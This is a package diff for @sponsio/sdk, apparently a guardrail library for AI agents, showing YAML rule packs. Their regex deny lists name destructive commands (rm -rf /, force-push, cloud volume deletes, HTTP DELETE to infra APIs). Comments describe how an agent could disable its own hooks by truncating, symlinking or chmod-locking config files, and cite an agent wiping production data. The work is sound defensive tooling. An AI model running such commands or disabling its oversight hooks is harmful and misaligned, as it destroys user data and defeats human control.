@sponsio/sdk 0.1.0 → 0.2.0-alpha.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (123) hide show
  1. package/contracts/benchmark/agentdojo.yaml +551 -0
  2. package/contracts/benchmark/odcv_bench.yaml +393 -0
  3. package/contracts/benchmark/redcode_exec.yaml +488 -0
  4. package/contracts/benchmark/swebench.yaml +176 -0
  5. package/contracts/benchmark/tau2_bench.yaml +984 -0
  6. package/contracts/capability/destructive.yaml +213 -0
  7. package/contracts/capability/factual-claims.yaml +79 -0
  8. package/contracts/capability/host-config-integrity.yaml +42 -9
  9. package/contracts/capability/self-modify.yaml +32 -1
  10. package/contracts/capability/shell.yaml +19 -10
  11. package/contracts/incident/claude-code-secret-bypass.yaml +48 -16
  12. package/contracts/incident/cursor-railway-wipe.yaml +60 -4
  13. package/contracts/incident/openclaw.yaml +9 -62
  14. package/contracts/premium/.gitkeep +5 -6
  15. package/dist/cli/cli.js +32 -0
  16. package/dist/cli/cli.js.map +1 -1
  17. package/dist/cli/packs.d.ts.map +1 -1
  18. package/dist/cli/packs.js +14 -8
  19. package/dist/cli/packs.js.map +1 -1
  20. package/dist/cli/patterns.d.ts +5 -4
  21. package/dist/cli/patterns.d.ts.map +1 -1
  22. package/dist/cli/patterns.js +11 -10
  23. package/dist/cli/patterns.js.map +1 -1
  24. package/dist/cli/prompt.js +5 -5
  25. package/dist/cli/prompt.js.map +1 -1
  26. package/dist/cli/scan.js +2 -2
  27. package/dist/cli/skill.d.ts +1 -1
  28. package/dist/cli/skill.js +1 -1
  29. package/dist/cli/validate.js +5 -5
  30. package/dist/cli/validate.js.map +1 -1
  31. package/dist/cloud/client.d.ts +76 -0
  32. package/dist/cloud/client.d.ts.map +1 -0
  33. package/dist/cloud/client.js +198 -0
  34. package/dist/cloud/client.js.map +1 -0
  35. package/dist/cloud/evidence.d.ts +108 -0
  36. package/dist/cloud/evidence.d.ts.map +1 -0
  37. package/dist/cloud/evidence.js +184 -0
  38. package/dist/cloud/evidence.js.map +1 -0
  39. package/dist/cloud/privacy.d.ts +67 -0
  40. package/dist/cloud/privacy.d.ts.map +1 -0
  41. package/dist/cloud/privacy.js +170 -0
  42. package/dist/cloud/privacy.js.map +1 -0
  43. package/dist/cloud/view-model.d.ts +49 -0
  44. package/dist/cloud/view-model.d.ts.map +1 -0
  45. package/dist/cloud/view-model.js +172 -0
  46. package/dist/cloud/view-model.js.map +1 -0
  47. package/dist/core/config-loader.d.ts.map +1 -1
  48. package/dist/core/config-loader.js +81 -9
  49. package/dist/core/config-loader.js.map +1 -1
  50. package/dist/core/evaluator.d.ts +11 -1
  51. package/dist/core/evaluator.d.ts.map +1 -1
  52. package/dist/core/evaluator.js +275 -13
  53. package/dist/core/evaluator.js.map +1 -1
  54. package/dist/core/formula.d.ts +76 -17
  55. package/dist/core/formula.d.ts.map +1 -1
  56. package/dist/core/formula.js +83 -1
  57. package/dist/core/formula.js.map +1 -1
  58. package/dist/core/grounding.d.ts +44 -8
  59. package/dist/core/grounding.d.ts.map +1 -1
  60. package/dist/core/grounding.js +197 -26
  61. package/dist/core/grounding.js.map +1 -1
  62. package/dist/core/nl-parser.d.ts +2 -2
  63. package/dist/core/nl-parser.d.ts.map +1 -1
  64. package/dist/core/nl-parser.js +617 -41
  65. package/dist/core/nl-parser.js.map +1 -1
  66. package/dist/core/pack-loader.d.ts.map +1 -1
  67. package/dist/core/pack-loader.js +14 -2
  68. package/dist/core/pack-loader.js.map +1 -1
  69. package/dist/core/parser.d.ts.map +1 -1
  70. package/dist/core/parser.js +30 -1
  71. package/dist/core/parser.js.map +1 -1
  72. package/dist/core/pattern-factory.d.ts.map +1 -1
  73. package/dist/core/pattern-factory.js +14 -1
  74. package/dist/core/pattern-factory.js.map +1 -1
  75. package/dist/core/patterns.d.ts +118 -1
  76. package/dist/core/patterns.d.ts.map +1 -1
  77. package/dist/core/patterns.js +189 -10
  78. package/dist/core/patterns.js.map +1 -1
  79. package/dist/core/session-log.d.ts.map +1 -1
  80. package/dist/core/session-log.js +20 -1
  81. package/dist/core/session-log.js.map +1 -1
  82. package/dist/core/sto.d.ts +21 -27
  83. package/dist/core/sto.d.ts.map +1 -1
  84. package/dist/core/sto.js +30 -33
  85. package/dist/core/sto.js.map +1 -1
  86. package/dist/core/tool-names.d.ts +59 -0
  87. package/dist/core/tool-names.d.ts.map +1 -0
  88. package/dist/core/tool-names.js +128 -0
  89. package/dist/core/tool-names.js.map +1 -0
  90. package/dist/index.d.ts +181 -32
  91. package/dist/index.d.ts.map +1 -1
  92. package/dist/index.js +415 -67
  93. package/dist/index.js.map +1 -1
  94. package/dist/integrations/claude-agent.d.ts +5 -0
  95. package/dist/integrations/claude-agent.d.ts.map +1 -1
  96. package/dist/integrations/claude-agent.js +42 -13
  97. package/dist/integrations/claude-agent.js.map +1 -1
  98. package/dist/integrations/google-adk.d.ts +5 -3
  99. package/dist/integrations/google-adk.d.ts.map +1 -1
  100. package/dist/integrations/google-adk.js +9 -5
  101. package/dist/integrations/google-adk.js.map +1 -1
  102. package/dist/integrations/langchain.d.ts +7 -0
  103. package/dist/integrations/langchain.d.ts.map +1 -1
  104. package/dist/integrations/langchain.js +21 -3
  105. package/dist/integrations/langchain.js.map +1 -1
  106. package/dist/integrations/openai-agents.d.ts +22 -10
  107. package/dist/integrations/openai-agents.d.ts.map +1 -1
  108. package/dist/integrations/openai-agents.js +55 -15
  109. package/dist/integrations/openai-agents.js.map +1 -1
  110. package/dist/integrations/openai.d.ts +11 -0
  111. package/dist/integrations/openai.d.ts.map +1 -1
  112. package/dist/integrations/openai.js +130 -48
  113. package/dist/integrations/openai.js.map +1 -1
  114. package/dist/integrations/vercel-ai.d.ts +20 -9
  115. package/dist/integrations/vercel-ai.d.ts.map +1 -1
  116. package/dist/integrations/vercel-ai.js +131 -32
  117. package/dist/integrations/vercel-ai.js.map +1 -1
  118. package/package.json +17 -9
  119. package/prompts/onboard.md +26 -17
  120. package/prompts/scan.md +3 -5
  121. package/skills/SKILL.md +13 -83
  122. package/contracts/core/llm_safety.yaml +0 -140
  123. package/prompts/refresh.md +0 -118
@@ -0,0 +1,213 @@
1
+ # =============================================================================
2
+ # sponsio/contracts/capability/destructive.yaml
3
+ #
4
+ # Capability pack — destructive / irreversible operations that the
5
+ # other capability packs don't already cover. Two LTL shapes, both
6
+ # using existing grounding atoms (``called_with``, ``count``,
7
+ # ``count_with``).
8
+ #
9
+ # § A — unconditional deny. ``G: arg_blacklist(...)`` compiles to
10
+ # ``G(called_with(tool, param, regex) -> false)``. No
11
+ # override path; the only way to allow is an operator
12
+ # ``overrides:`` with ``disabled: true``.
13
+ #
14
+ # § B — gated by per-call confirm marker. Raw LTL of the form
15
+ # ``G(called_with(<tool>, <regex>) ->
16
+ # count(confirm_destructive_action) >=
17
+ # count_with(<tool>, <regex>))``.
18
+ # Every destructive call must be matched by a fresh
19
+ # ``confirm_destructive_action`` marker — agent cannot
20
+ # reuse one confirm to cover multiple destructives.
21
+ # Violation = host adapter's choice of how to surface
22
+ # (deny / ask). Mode A hosts (Claude Code,
23
+ # OpenClaw) translate to ``permissionDecision: ask`` /
24
+ # ``requireApproval`` independently of the contract layer.
25
+ #
26
+ # Scope (deliberately narrow):
27
+ #
28
+ # This pack only covers categories the other capability packs
29
+ # miss. Specifically, it does NOT re-cover:
30
+ #
31
+ # - DROP / TRUNCATE / DELETE / dropdb / FLUSHALL / alembic
32
+ # downgrade base / data-dir deletes ── ``database.yaml``
33
+ # already bans these unconditionally; a confirm-marker
34
+ # version would be strictly weaker.
35
+ # - rm -rf of system roots, dd, mkfs, fork bomb ── ``shell.yaml``
36
+ # already bans these unconditionally.
37
+ # - SSH key / dotenv / credentials reads or overwrites ──
38
+ # ``credentials.yaml`` / ``filesystem.yaml``.
39
+ #
40
+ # What this pack adds is the *infra control plane*, *git history*,
41
+ # *mass-file*, and *MCP-tool* layers — categories where the blast
42
+ # radius is "wipe production" but the surface (cloud CLI / HTTP
43
+ # API / MCP tool / git mutation) isn't a shell builtin or SQL
44
+ # statement and so isn't caught by the existing packs.
45
+ #
46
+ # Real-world incidents this pack defends against:
47
+ #
48
+ # - PocketOS / Cursor / Claude Opus 4.6 (2026-04-27): agent in
49
+ # staging deleted production Railway volume + all backups in
50
+ # 9 seconds. § B gating on the Railway CLI form
51
+ # (``railway volume delete``) AND the HTTP API form
52
+ # (``curl -X DELETE backboard.railway.app/...``) would have
53
+ # demanded a per-call confirm marker first. The third form —
54
+ # in-process SDK call from a Python/Node script — sits outside
55
+ # the shell-tool boundary; catching that requires Mode B
56
+ # (`sponsio.Sponsio()` wrapping the agent loop where the SDK
57
+ # `delete_volume` tool call is visible directly).
58
+ # - claude-code issue #30475 (closed-as-duplicate, recurring):
59
+ # "Agent commits and pushes changes without waiting for user
60
+ # approval." § B on force-push to protected branches.
61
+ #
62
+ # Marker convention:
63
+ # ``confirm_destructive_action`` is the integration's signal that
64
+ # the user has explicitly approved a destructive operation
65
+ # through the host UI. Sub-agents are not expected to emit it
66
+ # directly — their work product flows back to the main agent,
67
+ # which surfaces an ``ask``-style confirmation prompt and emits
68
+ # the marker on user approval. Without the marker, every § B
69
+ # call fails the per-call count comparison.
70
+ #
71
+ # This marker is independent of ``shell.yaml``'s
72
+ # ``confirm_reconfirmed`` marker — each pack defines its own so
73
+ # a single user click can't unintentionally satisfy multiple
74
+ # distinct gates.
75
+ #
76
+ # Include via:
77
+ # include:
78
+ # - sponsio:capability/destructive
79
+ #
80
+ # Tool naming:
81
+ # The pack uses canonical ``exec`` for the shell tool. Both
82
+ # ``_host.yaml`` and ``_host_subagent.yaml`` rename ``exec: Bash``;
83
+ # ``_host_openclaw.yaml`` uses canonical ``exec`` directly. For
84
+ # plugin tools (``mcp__<server>__<tool>``) the rule references
85
+ # the namespaced name verbatim.
86
+ #
87
+ # Source tag convention:
88
+ # library:tier1.destructive.{always,confirm}
89
+ # =============================================================================
90
+
91
+ version: "1"
92
+
93
+ tools:
94
+ - name: exec
95
+ description: "Shell command execution"
96
+ params: "command: str"
97
+ - name: confirm_destructive_action
98
+ description: "Marker tool the integration emits when the user explicitly approves a destructive operation."
99
+ params: "operation: str"
100
+
101
+ agents:
102
+ "*":
103
+ contracts:
104
+
105
+ # ===================================================================
106
+ # § A — unconditional deny (G(¬destructive))
107
+ # ===================================================================
108
+
109
+ - desc: "Ban git history rewrites that obliterate state silently (filter-branch / filter-repo)"
110
+ G:
111
+ pattern: arg_blacklist
112
+ args:
113
+ - exec
114
+ - command
115
+ - - "\\bgit\\b[^|;&]*?\\bfilter-(branch|repo)\\b"
116
+ source: "library:tier1.destructive.always"
117
+
118
+ # ===================================================================
119
+ # § B — per-call confirm marker required
120
+ # ===================================================================
121
+ #
122
+ # LTL idiom: G(called_with(t, r) ->
123
+ # count(confirm_destructive_action)
124
+ # >= count_with(t, r))
125
+ #
126
+ # Every match of the destructive regex must be matched by a
127
+ # fresh confirm marker — confirms are not reusable across
128
+ # different destructive ops within the same session.
129
+
130
+ - desc: "git force-push to protected branches needs per-call confirm_destructive_action (PocketOS-class blast radius)"
131
+ G:
132
+ ltl: >-
133
+ G(called_with(exec, "\\bgit\\b[^|;&]*?\\bpush\\b[^|;&]*?(--force|--force-with-lease|\\s-f\\b)[^|;&]*?\\b(main|master|release|prod|production)\\b")
134
+ -> count(confirm_destructive_action)
135
+ >= count_with(exec, "\\bgit\\b[^|;&]*?\\bpush\\b[^|;&]*?(--force|--force-with-lease|\\s-f\\b)[^|;&]*?\\b(main|master|release|prod|production)\\b"))
136
+ source: "library:tier1.destructive.confirm"
137
+
138
+ - desc: "git reset --hard / clean -fdx needs per-call confirm_destructive_action (drops local work)"
139
+ G:
140
+ ltl: >-
141
+ G(called_with(exec, "\\bgit\\b[^|;&]*?\\b(reset\\b[^|;&]*?\\b--hard|clean\\b[^|;&]*?\\b-[fdx]+)\\b")
142
+ -> count(confirm_destructive_action)
143
+ >= count_with(exec, "\\bgit\\b[^|;&]*?\\b(reset\\b[^|;&]*?\\b--hard|clean\\b[^|;&]*?\\b-[fdx]+)\\b"))
144
+ source: "library:tier1.destructive.confirm"
145
+
146
+ - desc: "Cloud volume / cluster delete needs per-call confirm_destructive_action (PocketOS Railway pattern)"
147
+ G:
148
+ ltl: >-
149
+ G(called_with(exec, "\\b(railway\\s+(volume|service|environment|project)\\s+delete|aws\\s+ec2\\s+delete-volume|aws\\s+rds\\s+delete-(db-instance|db-cluster|db-snapshot)|aws\\s+s3\\s+rb|gcloud\\s+(sql|compute|container)\\s+\\S+\\s+delete|kubectl\\s+delete\\s+(pv|pvc|namespace|cluster)|fly\\s+(volumes|apps)\\s+destroy|heroku\\s+apps:destroy|terraform\\s+destroy|pulumi\\s+destroy|docker\\s+volume\\s+rm)\\b")
150
+ -> count(confirm_destructive_action)
151
+ >= count_with(exec, "\\b(railway\\s+(volume|service|environment|project)\\s+delete|aws\\s+ec2\\s+delete-volume|aws\\s+rds\\s+delete-(db-instance|db-cluster|db-snapshot)|aws\\s+s3\\s+rb|gcloud\\s+(sql|compute|container)\\s+\\S+\\s+delete|kubectl\\s+delete\\s+(pv|pvc|namespace|cluster)|fly\\s+(volumes|apps)\\s+destroy|heroku\\s+apps:destroy|terraform\\s+destroy|pulumi\\s+destroy|docker\\s+volume\\s+rm)\\b"))
152
+ source: "library:tier1.destructive.confirm"
153
+
154
+ - desc: "GitHub MCP delete_repository needs per-call confirm_destructive_action"
155
+ G:
156
+ ltl: >-
157
+ G(called(mcp__github__delete_repository)
158
+ -> count(confirm_destructive_action) >= count(mcp__github__delete_repository))
159
+ source: "library:tier1.destructive.confirm"
160
+
161
+ - desc: "Railway MCP delete_volume needs per-call confirm_destructive_action (PocketOS pattern)"
162
+ G:
163
+ ltl: >-
164
+ G(called(mcp__railway__delete_volume)
165
+ -> count(confirm_destructive_action) >= count(mcp__railway__delete_volume))
166
+ source: "library:tier1.destructive.confirm"
167
+
168
+ - desc: "AWS MCP delete_volume needs per-call confirm_destructive_action"
169
+ G:
170
+ ltl: >-
171
+ G(called(mcp__aws__delete_volume)
172
+ -> count(confirm_destructive_action) >= count(mcp__aws__delete_volume))
173
+ source: "library:tier1.destructive.confirm"
174
+
175
+ - desc: "Supabase MCP delete_database needs per-call confirm_destructive_action"
176
+ G:
177
+ ltl: >-
178
+ G(called(mcp__supabase__delete_database)
179
+ -> count(confirm_destructive_action) >= count(mcp__supabase__delete_database))
180
+ source: "library:tier1.destructive.confirm"
181
+
182
+ - desc: "GitHub repo deletion via gh CLI needs per-call confirm_destructive_action"
183
+ G:
184
+ ltl: >-
185
+ G(called_with(exec, "\\b(gh\\s+repo\\s+delete|hub\\s+delete)\\b")
186
+ -> count(confirm_destructive_action)
187
+ >= count_with(exec, "\\b(gh\\s+repo\\s+delete|hub\\s+delete)\\b"))
188
+ source: "library:tier1.destructive.confirm"
189
+
190
+ - desc: "Mass file delete (find -delete / xargs rm) needs per-call confirm_destructive_action"
191
+ G:
192
+ ltl: >-
193
+ G(called_with(exec, "\\bfind\\s+\\S+[^|;&]*?(\\s-delete|\\|\\s*xargs\\s+rm)\\b")
194
+ -> count(confirm_destructive_action)
195
+ >= count_with(exec, "\\bfind\\s+\\S+[^|;&]*?(\\s-delete|\\|\\s*xargs\\s+rm)\\b"))
196
+ source: "library:tier1.destructive.confirm"
197
+
198
+ # PocketOS / Cursor (2026-04-27) almost certainly went through
199
+ # the Railway HTTP API, not the CLI — "single API call to
200
+ # Railway" is the operative wording. curl / wget / httpie / xh
201
+ # carrying DELETE to known infra endpoints (Railway, AWS,
202
+ # GCP, Heroku, Fly, Vercel, DO, Linode, Cloudflare, Supabase)
203
+ # gates on the same confirm marker. Generic curl with DELETE
204
+ # to arbitrary URLs is intentionally NOT gated here — too many
205
+ # legitimate REST API uses; users get the gate exactly where
206
+ # the blast radius is "wipe production infra".
207
+ - desc: "HTTP DELETE to cloud infra control planes needs per-call confirm_destructive_action (PocketOS API path)"
208
+ G:
209
+ ltl: >-
210
+ G(called_with(exec, "\\b(curl|wget|http|https|httpie|xh)\\b[^|;&]*?(-X\\s+DELETE|--request\\s+DELETE|\\sDELETE\\b)[^|;&]*?(railway\\.app|amazonaws\\.com|googleapis\\.com|heroku\\.com|fly\\.io|vercel\\.com|digitalocean\\.com|linode\\.com|cloudflare\\.com|supabase\\.co|planetscale\\.com|neon\\.tech|render\\.com|fly\\.dev|backboard\\.railway\\.app)")
211
+ -> count(confirm_destructive_action)
212
+ >= count_with(exec, "\\b(curl|wget|http|https|httpie|xh)\\b[^|;&]*?(-X\\s+DELETE|--request\\s+DELETE|\\sDELETE\\b)[^|;&]*?(railway\\.app|amazonaws\\.com|googleapis\\.com|heroku\\.com|fly\\.io|vercel\\.com|digitalocean\\.com|linode\\.com|cloudflare\\.com|supabase\\.co|planetscale\\.com|neon\\.tech|render\\.com|fly\\.dev|backboard\\.railway\\.app)"))
213
+ source: "library:tier1.destructive.confirm"
@@ -0,0 +1,79 @@
1
+ # =============================================================================
2
+ # sponsio/contracts/capability/factual-claims.yaml
3
+ #
4
+ # Capability pack — evidence obligations for factual claims.
5
+ #
6
+ # REQUIRES A SPONSIO CLOUD KEY. Verdicts are produced by the cloud
7
+ # evidence API (POST /v1/evidence/verify); the runtime computes none of
8
+ # them. The integration calls ``client.evidence.verify(...)`` and feeds
9
+ # ``EvidenceResult.to_event(...)`` into the trace; that grounds three
10
+ # atom families this pack composes:
11
+ #
12
+ # claim_emitted(pred) a claim of this predicate was emitted
13
+ # evidence_verdict(pred, V) the server's verdict for it (PASS /
14
+ # MISMATCH / UNDERDETERMINED /
15
+ # NO_EVIDENCE / STALE /
16
+ # SOURCE_UNAVAILABLE /
17
+ # EXTRACTION_AMBIGUOUS)
18
+ # evidence_action(pred, a) the server's policy action
19
+ # (release / block / clarify /
20
+ # re_resolve)
21
+ #
22
+ # Two shapes:
23
+ #
24
+ # § A — claim_requires_evidence(pred):
25
+ # G(claim_emitted(pred) -> evidence_verdict(pred, PASS)).
26
+ # Any claim whose verdict is not PASS violates at the timestep
27
+ # the verdict lands.
28
+ #
29
+ # § B — underdetermined_must_clarify(pred):
30
+ # G(evidence_verdict(pred, UNDERDETERMINED) ->
31
+ # evidence_action(pred, clarify)).
32
+ # Guards the policy wiring: ambiguous evidence must resolve to
33
+ # a clarify action, never a silent release.
34
+ #
35
+ # Without a cloud key no ``evidence`` events exist, both atom families
36
+ # stay un-grounded, and every rule below is vacuously satisfied — the
37
+ # pack does nothing rather than something wrong.
38
+ #
39
+ # The predicate names below are the two self-serve built-ins used across
40
+ # the docs; replace them with the predicates your project actually
41
+ # protects (GET /v1/evidence/predicates lists them).
42
+ #
43
+ # Include via:
44
+ # include:
45
+ # - sponsio:capability/factual-claims
46
+ # =============================================================================
47
+
48
+ agents:
49
+ "*":
50
+ contracts:
51
+
52
+ # ===================================================================
53
+ # § A — claims must verify (PASS or it doesn't ship)
54
+ # ===================================================================
55
+
56
+ - desc: "Weekday claims must match the calendar (cloud-verified)"
57
+ G:
58
+ pattern: claim_requires_evidence
59
+ args:
60
+ - date_weekday_agreement
61
+ source: "library:evidence.factual-claims"
62
+
63
+ - desc: "ZIP claims for a city must verify against reference data (cloud-verified)"
64
+ G:
65
+ pattern: claim_requires_evidence
66
+ args:
67
+ - city_zip_candidates
68
+ source: "library:evidence.factual-claims"
69
+
70
+ # ===================================================================
71
+ # § B — ambiguous evidence must clarify, never silently release
72
+ # ===================================================================
73
+
74
+ - desc: "Ambiguous city→ZIP evidence must trigger clarification"
75
+ G:
76
+ pattern: underdetermined_must_clarify
77
+ args:
78
+ - city_zip_candidates
79
+ source: "library:evidence.factual-claims"
@@ -42,6 +42,10 @@
42
42
  # — bash redirect / mutator forms that the self-modify pack
43
43
  # doesn't currently match because its regex anchors on
44
44
  # ``.sponsio/plugins/...`` paths only.
45
+ # 6. ``truncate -s0 ~/.claude/settings.json`` / ``ln -sf /dev/null
46
+ # ~/.claude/settings.json`` / ``chmod 000 ~/.claude/settings.json``
47
+ # / ``rm -rf ~/.claude`` — no write at all, but the IDE reads an
48
+ # empty, foreign, or unreadable file and loads no hooks.
45
49
  #
46
50
  # What this pack denies:
47
51
  #
@@ -222,26 +226,55 @@ agents:
222
226
  # interpreter: ``echo '{}' > hooks.json``, ``cat /dev/null >
223
227
  # settings.json``, ``: > hooks.json``, ``sed -i 's/true/false/'
224
228
  # hooks.json``, ``tee hooks.json``, ``cp empty.json
225
- # hooks.json``, ``mv x hooks.json``, ``rm hooks.json``.
229
+ # hooks.json``, ``mv x hooks.json``, ``rm hooks.json``,
230
+ # ``truncate -s0``, ``ln -sf /dev/null``, ``chmod 000``.
226
231
  #
227
- # The pattern is "any of {redirect, sed, awk, tee, cp, mv,
228
- # rm, install} adjacent to a hook-config path on the same
229
- # command line". Read-only patterns (``cat hooks.json``,
230
- # ``jq . hooks.json``, ``grep ... hooks.json``) are NOT
231
- # matched — they don't carry a mutator verb in front of the
232
- # path, so the alternation never triggers.
232
+ # The pattern is "a mutator verb, then anything up to the next
233
+ # pipe / separator, then a hook-config path on the same command
234
+ # line". The gap between verb and path is what ``~/``, ``$HOME/``,
235
+ # ``"${HOME}/``, and an absolute prefix sit in: an earlier version
236
+ # required the path to follow the redirect operator immediately,
237
+ # so ``> .claude/settings.json`` was denied and ``> ~/.claude/
238
+ # settings.json`` was not (reported by kta1kri, 2026-10).
239
+ # ``truncate``, ``ln``, ``chmod``, ``chown`` and ``chattr`` are
240
+ # mutators too: an emptied, replaced, or unreadable settings file
241
+ # removes the hook exactly as an edited one does.
242
+ #
243
+ # Read-only patterns (``cat hooks.json``, ``jq . hooks.json``,
244
+ # ``grep ... hooks.json``, ``jq . settings.json > /tmp/backup``)
245
+ # are NOT matched — they carry no mutator verb in front of the
246
+ # path, and a redirect to a different file stops at that file.
247
+ # ``cp`` with the file as the *source* does match; a backup is
248
+ # the price of catching ``cp empty.json settings.json``.
233
249
  #
234
250
  # Edge case: ``python ... > hooks.json`` is already caught
235
251
  # by §5 via the interpreter alternation. No double-deny harm
236
252
  # since this is the deny side of the contract anyway.
237
253
 
238
- - desc: "Host agent must not redirect / sed / tee / mv / rm an IDE hook / MCP wiring file"
254
+ - desc: "Host agent must not redirect / sed / tee / mv / rm / truncate / ln / chmod an IDE hook / MCP wiring file"
255
+ G:
256
+ pattern: arg_blacklist
257
+ args:
258
+ - Bash
259
+ - command
260
+ - - ">{1,2}\\|?\\s*[^|&;<>\\n]*(\\.cursor/(hooks|mcp)\\.json|\\.claude/(settings(\\.local)?\\.json|hooks/[^\\s|]+)|\\.codex/hooks\\.json|\\.windsurf/hooks\\.json)"
261
+ - "\\b(tee|cp|mv|rm|install|truncate|ln|chmod|chown|chattr|shred|unlink|rsync|dd|sponge|patch|ed|ex|vi|vim|nvim)\\b[^|&;\\n]*(\\.cursor/(hooks|mcp)\\.json|\\.claude/(settings(\\.local)?\\.json|hooks/[^\\s|]+)|\\.codex/hooks\\.json|\\.windsurf/hooks\\.json)"
262
+ - "\\bsed\\b[^|&;\\n]*\\s-[a-zA-Z]*i[^|&;\\n]*(\\.cursor/(hooks|mcp)\\.json|\\.claude/(settings(\\.local)?\\.json|hooks/[^\\s|]+)|\\.codex/hooks\\.json|\\.windsurf/hooks\\.json)"
263
+ - "\\bawk\\b[^|&;\\n]*\\s-i[^|&;\\n]*(\\.cursor/(hooks|mcp)\\.json|\\.claude/(settings(\\.local)?\\.json|hooks/[^\\s|]+)|\\.codex/hooks\\.json|\\.windsurf/hooks\\.json)"
264
+ source: "library:tier1.host-config-integrity"
265
+
266
+ # The rules above name the wiring FILE. Removing, moving, or making
267
+ # unreadable the directory that holds it (``rm -rf ~/.claude``,
268
+ # ``chmod 000 ~/.claude``, ``mv .cursor /tmp``) takes the hook
269
+ # registration with it. The lookahead stops at the directory name
270
+ # so ``~/.claude-backup`` and ``.claude/commands/x.md`` stay open.
271
+ - desc: "Host agent must not remove, move, or lock the IDE config directory that holds the hook wiring"
239
272
  G:
240
273
  pattern: arg_blacklist
241
274
  args:
242
275
  - Bash
243
276
  - command
244
- - - "(>\\s*|>>\\s*|\\btee\\b[^|\\n]*|\\bsed\\b\\s+-i[^|\\n]*|\\bawk\\b[^|\\n]*-i[^|\\n]*|\\bcp\\b[^|\\n]+|\\bmv\\b[^|\\n]+|\\brm\\b[^|\\n]+|\\binstall\\b[^|\\n]+)(\\.cursor/(hooks|mcp)\\.json|\\.claude/(settings(\\.local)?\\.json|hooks/[^\\s|]+)|\\.codex/hooks\\.json|\\.windsurf/hooks\\.json)"
277
+ - - "\\b(rm|rmdir|mv|chmod|chown|chattr|ln)\\b[^|&;\\n]*(\\.claude|\\.cursor|\\.codex|\\.windsurf)/?(?![\\w./-])"
245
278
  source: "library:tier1.host-config-integrity"
246
279
 
247
280
  # -----------------------------------------------------------------------------
@@ -306,7 +306,7 @@ agents:
306
306
  args:
307
307
  - Bash
308
308
  - command
309
- - - ">>?\\s*[^|&;]*(\\.sponsio/plugins/(_host[^/]*|[^_/][^/]*)/sponsio\\.yaml|sponsio/contracts/[^/]+/[^/]+\\.yaml|sponsio/(guard_stdin|config|core)\\.py|sponsio/(runtime|patterns|formulas|tracer|integrations)/[^/]+\\.py)"
309
+ - - ">{1,2}\\|?\\s*[^|&;<>\\n]*(\\.sponsio/plugins/(_host[^/]*|[^_/][^/]*)/sponsio\\.yaml|sponsio/contracts/[^/]+/[^/]+\\.yaml|sponsio/(guard_stdin|config|core)\\.py|sponsio/(runtime|patterns|formulas|tracer|integrations)/[^/]+\\.py)"
310
310
  source: "library:tier1.self-modify"
311
311
 
312
312
  - desc: "Host agent must not `tee` into a sponsio guard config or engine file"
@@ -336,6 +336,37 @@ agents:
336
336
  - - "\\b(cp|mv|rm|dd)\\b\\s+[^|&;]*(\\.sponsio/plugins/(_host[^/]*|[^_/][^/]*)/sponsio\\.yaml|sponsio/contracts/[^/]+/[^/]+\\.yaml|sponsio/(guard_stdin|config|core)\\.py|sponsio/(runtime|patterns|formulas|tracer|integrations)/[^/]+\\.py)"
337
337
  source: "library:tier1.self-modify"
338
338
 
339
+ # A file can be emptied, replaced, or made unreadable without a
340
+ # write operator: ``truncate -s0``, ``ln -sf /dev/null``,
341
+ # ``chmod 000`` (reported by kta1kri, 2026-10, against the hook
342
+ # wiring; the rule file has the same exposure). The hook fails
343
+ # closed on an empty or unreadable library, so for the rule file
344
+ # these are denial of service rather than bypass, but they are
345
+ # the agent reaching for its own guard all the same.
346
+ - desc: "Host agent must not truncate / link over / lock a sponsio guard config or engine file"
347
+ G:
348
+ pattern: arg_blacklist
349
+ args:
350
+ - Bash
351
+ - command
352
+ - - "\\b(truncate|ln|chmod|chown|chattr|shred|unlink|install|rsync|sponge|patch|ed|ex|vi|vim|nvim)\\b\\s+[^|&;]*(\\.sponsio/plugins/(_host[^/]*|[^_/][^/]*)/sponsio\\.yaml|sponsio/contracts/[^/]+/[^/]+\\.yaml|sponsio/(guard_stdin|config|core)\\.py|sponsio/(runtime|patterns|formulas|tracer|integrations)/[^/]+\\.py)"
353
+ source: "library:tier1.self-modify"
354
+
355
+ # The rules above name the rule FILE. Removing or moving a directory
356
+ # that contains it (``rm -rf ~/.sponsio``, ``mv ~/.sponsio/plugins
357
+ # /tmp``) took every library with it, after which each tool was
358
+ # "unconfigured" and ran, and ``defaults.unconfigured: deny`` went
359
+ # too, since it lives in the host library. The lookahead stops at
360
+ # the directory name so ``~/.sponsio-backup`` stays allowed.
361
+ - desc: "Host agent must not remove, move, or lock the sponsio config directory or a library bucket"
362
+ G:
363
+ pattern: arg_blacklist
364
+ args:
365
+ - Bash
366
+ - command
367
+ - - "\\b(rm|mv|rmdir|chmod|chown|chattr|ln)\\b[^|&;\\n]*\\.sponsio(/plugins(/[\\w-]+)?)?/?(?![\\w./-])"
368
+ source: "library:tier1.self-modify"
369
+
339
370
  # -----------------------------------------------------------------------------
340
371
  # Integration requirements
341
372
  # -----------------------------------------------------------------------------
@@ -65,10 +65,19 @@ agents:
65
65
  # rm -rf /home/... (direct home path)
66
66
  # rm -rf /root/...
67
67
  # rm -rf /Users/... (macOS home)
68
- - - "rm\\s+-[rRf]+\\s+(/|\\$HOME|~)(\\s|;|&|\\||$)"
69
- - "rm\\s+-[rRf]+\\s+/\\*"
70
- - "rm\\s+-[rRf]+\\s+/(home|root|Users)"
71
- - "rm\\s+-[rRf]+\\s+\\$\\{?HOME\\}?"
68
+ #
69
+ # Flag grammar: ``rm`` followed by any options, at least one
70
+ # of which is a short cluster containing r/R/f (``-rf``,
71
+ # ``-fr``, ``-Rfv``, ``-r -f``) or the long spelling
72
+ # (``--recursive`` / ``--force``), then any further options
73
+ # (``--no-preserve-root``, ``--``), then the target.
74
+ # ``arg_blacklist`` is a raw regex with no argv parsing, so
75
+ # the long forms must be spelled out here or
76
+ # ``rm --recursive --force /`` walks straight through.
77
+ - - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+(/|\\$HOME|~)/?(\\s|;|&|\\||$)"
78
+ - "\\brm(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+))*\\s+(?:-[a-zA-Z]*[rRf][a-zA-Z]*|--recursive|--force)(?:\\s+(?:-[a-zA-Z]+|--[a-z-]+|--))*\\s+/\\*"
79
